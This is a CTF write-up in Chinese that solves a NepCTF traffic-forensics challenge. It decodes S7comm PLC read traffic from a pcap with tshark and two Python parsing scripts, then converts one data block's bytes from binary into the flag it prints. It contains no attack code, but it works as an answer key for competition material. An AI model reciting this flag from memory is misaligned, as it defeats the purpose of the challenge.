因为先在群里和薯饼师傅确认过了协议是s7comm所以才决定重做这道题
wireshark没有分析出s7comm,接下来用tshark强制解析
tshark -r a.pcap -d tcp.port==11102,tpkt -O s7comm > a.txt下面是提取出来的 a.txt 的部分内容
Frame 12: 103 bytes on wire (824 bits), 103 bytes captured (824 bits)Linux cooked capture v2Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1Transmission Control Protocol, Src Port: 58370, Dst Port: 11102, Seq: 1, Ack: 1, Len: 31TPKT, Version: 3, Length: 31ISO 8073/X.224 COTP Connection-Oriented Transport ProtocolS7 Communication Header: (Job) Protocol Id: 0x32 ROSCTR: Job (1) Redundancy Identification (Reserved): 0x0000 Protocol Data Unit Reference: 2300 Parameter length: 14 Data length: 0 Parameter: (Read Var) Function: Read Var (0x04) Item count: 1 Item [1]: (DB 1002.DBX 1002.0 BYTE 1) Variable specification: 0x12 Length of following address specification: 10 Syntax Id: S7ANY (0x10) Transport size: BYTE (2) Length: 1 DB number: 1002 Area: Data blocks (DB) (0x84) Address: 0x001f50 .... .000 0001 1111 0101 0... = Byte Address: 1002 .... .... .... .... .... .000 = Bit Address: 0发现客户端执行的唯一操作是 Read Var (读取变量),每次请求都只读取一个字节(BYTE 1),结合题目要求很容易想到接下来要做的就是把读取的变量按顺序排列拼接起来
再多翻几条流量发现客户端在循环读取两个主要数据块DB 1002 和 DB 1003中的变量,接下来拼接的时候得分开来
用脚本从 a.txt 中提取出所有 S7 通信的请求和响应,并将其保存到 plc_data.csv 文件中方便后续进一步的分析
import reimport csvimport os def extract_s7_data(input_file, output_file): """ Parses a Wireshark-like text dump to extract S7 "Read Var" requests and their corresponding "Ack_Data" responses, then saves them to a CSV file. Args: input_file (str): The path to the input text file (e.g., 'b.txt'). output_file (str): The path to the output CSV file. """ if not os.path.exists(input_file): print(f"Error: Input file '{input_file}' not found.") return try: with open(input_file, 'r', encoding='utf-8') as f: content = f.read() except Exception as e: print(f"Error reading file: {e}") return # Split the entire text file into individual frame chunks. # The initial split creates an empty string at the beginning, so we slice it off. frames_text = re.split(r'\nFrame ', content) if frames_text: frames_text[0] = frames_text[0].replace('--- START OF FILE b.txt ---\n\nFrame ', '', 1) extracted_data = [] # Regex patterns to find request and response frames and their data request_pattern = re.compile( r'^(?P<req_frame>\d+):.*?' r'ROSCTR: Job \(1\).*?' r'Function: Read Var.*?' r'Item \[1\]: \((?P<address>DB \d+\.DBX \d+\.\d+ BYTE 1)\)', re.DOTALL | re.MULTILINE ) response_pattern = re.compile( r'^(?P<res_frame>\d+):.*?' r'ROSCTR: Ack_Data \(3\).*?' r'Data: (?P<value>\w+)', re.DOTALL | re.MULTILINE ) i = 0 while i < len(frames_text): # Look for a request frame match_request = request_pattern.search(frames_text[i]) if match_request: req_frame_num = match_request.group('req_frame') address = match_request.group('address') # Search for the *next* response frame j = i + 1 while j < len(frames_text): match_response = response_pattern.search(frames_text[j]) if match_response: res_frame_num = match_response.group('res_frame') # The value is returned in hexadecimal, convert to decimal integer value = int(match_response.group('value'), 16) # Store the complete transaction extracted_data.append([req_frame_num, address, res_frame_num, value]) break # Found the response, stop searching j += 1 i += 1 # Write the extracted data to the CSV file try: with open(output_file, 'w', newline='', encoding='utf-8') as csvfile: writer = csv.writer(csvfile) writer.writerow(['Request Frame', 'Address Read', 'Response Frame', 'Value (Decimal)']) writer.writerows(extracted_data) print(f"✅ Successfully extracted {len(extracted_data)} data points to '{output_file}'") except Exception as e: print(f"Error writing to CSV file: {e}") # --- Main execution ---if __name__ == "__main__": extract_s7_data('a.txt', 'plc_data.csv')提取出来的文件长这样:
Request Frame,Address Read,Response Frame,Value (Decimal)12,DB 1002.DBX 1002.0 BYTE 1,14,4816,DB 1002.DBX 1002.1 BYTE 1,17,4919,DB 1002.DBX 1002.2 BYTE 1,20,4822,DB 1002.DBX 1002.3 BYTE 1,23,4825,DB 1003.DBX 1016.3 BYTE 1,26,5028,DB 1002.DBX 1002.4 BYTE 1,29,4931,DB 1003.DBX 1016.4 BYTE 1,32,4834,DB 1002.DBX 1002.5 BYTE 1,35,4937,DB 1002.DBX 1002.6 BYTE 1,38,4940,DB 1002.DBX 1002.7 BYTE 1,41,4843,DB 1003.DBX 1016.7 BYTE 1,44,4846,DB 1002.DBX 1003.0 BYTE 1,47,4849,DB 1002.DBX 1003.1 BYTE 1,50,4952,DB 1002.DBX 1003.2 BYTE 1,53,4955,DB 1002.DBX 1003.3 BYTE 1,56,48... ... ... ...可以发现和前面观察到的结果是一致的,用脚本将数据按DB块分开,然后按地址排序,最后将数值转换成字符并拼接起来即可
import csvimport re def solve_plc_puzzle(csv_file_path): """ Reads the extracted PLC data from a CSV, sorts it by memory address, and decodes the hidden ASCII messages. Args: csv_file_path (str): The path to the input CSV file. """ # Dictionaries to store data, mapping a sortable address tuple to its value # Format: {(byte_address, bit_address): value} db_1002_data = {} db_1003_data = {} # Regex to parse the address string like "DB 1002.DBX 1002.0 BYTE 1" address_pattern = re.compile(r'DB (\d+)\.DBX (\d+)\.(\d+)') try: with open(csv_file_path, 'r', newline='', encoding='utf-8') as f: reader = csv.DictReader(f) for row in reader: address_str = row['Address Read'] # The CSV has space before the value header, handle it. value = int(row['Value (Decimal)']) match = address_pattern.match(address_str) if not match: continue db_num = int(match.group(1)) byte_addr = int(match.group(2)) bit_addr = int(match.group(3)) # Use a tuple of integers for easy and correct sorting sortable_address = (byte_addr, bit_addr) if db_num == 1002: db_1002_data[sortable_address] = value elif db_num == 1003: db_1003_data[sortable_address] = value except FileNotFoundError: print(f"Error: The file '{csv_file_path}' was not found.") return except Exception as e: print(f"An error occurred: {e}") return # Sort the dictionary keys (addresses) to get the correct logical order sorted_keys_1002 = sorted(db_1002_data.keys()) sorted_keys_1003 = sorted(db_1003_data.keys()) # Convert the sorted values to characters and join them into a string # We ignore null bytes (value 0) as they are often used as terminators or padding message_1002 = "".join([chr(db_1002_data[key]) for key in sorted_keys_1002 if db_1002_data[key] != 0]) message_1003 = "".join([chr(db_1003_data[key]) for key in sorted_keys_1003 if db_1003_data[key] != 0]) print("✅ Data processed successfully. Here is the restored content:\n") print("="*40) print("🔍 Content from Data Block 1002:") print("="*40) print(message_1002) print("\n") print("="*40) print("🔍 Content from Data Block 1003:") print("="*40) print(message_1003) print("\n") # --- Main execution ---if __name__ == "__main__": solve_plc_puzzle('plc_data.csv')运行结果如下:
✅ Data processed successfully. Here is the restored content:========================================🔍 Content from Data Block 1002:========================================0100111001100101011100000100001101010100010001100111101100111000001100010110010100110111001101100110011000110001001110000010110101100001001100110011011001100101001011010110011000111001001101000011010100101101001101000110010100110001001110000010110100110010001100100011011101100010001101000011100000111001001110010011001000110011011001000110010101111101========================================🔍 Content from Data Block 1003:========================================200120011210211010011101010222111102220200220020021112020012020011112121110122000202201100012111120220121122211001把DB 1002的内容二进制转ASCII就能拿到flag了(显然DB 1003的内容是没用的干扰数据),直接赛博厨子一把梭From Binary - CyberChef
NepCTF{81e76f18-a36e-f945-4e18-227b489923de}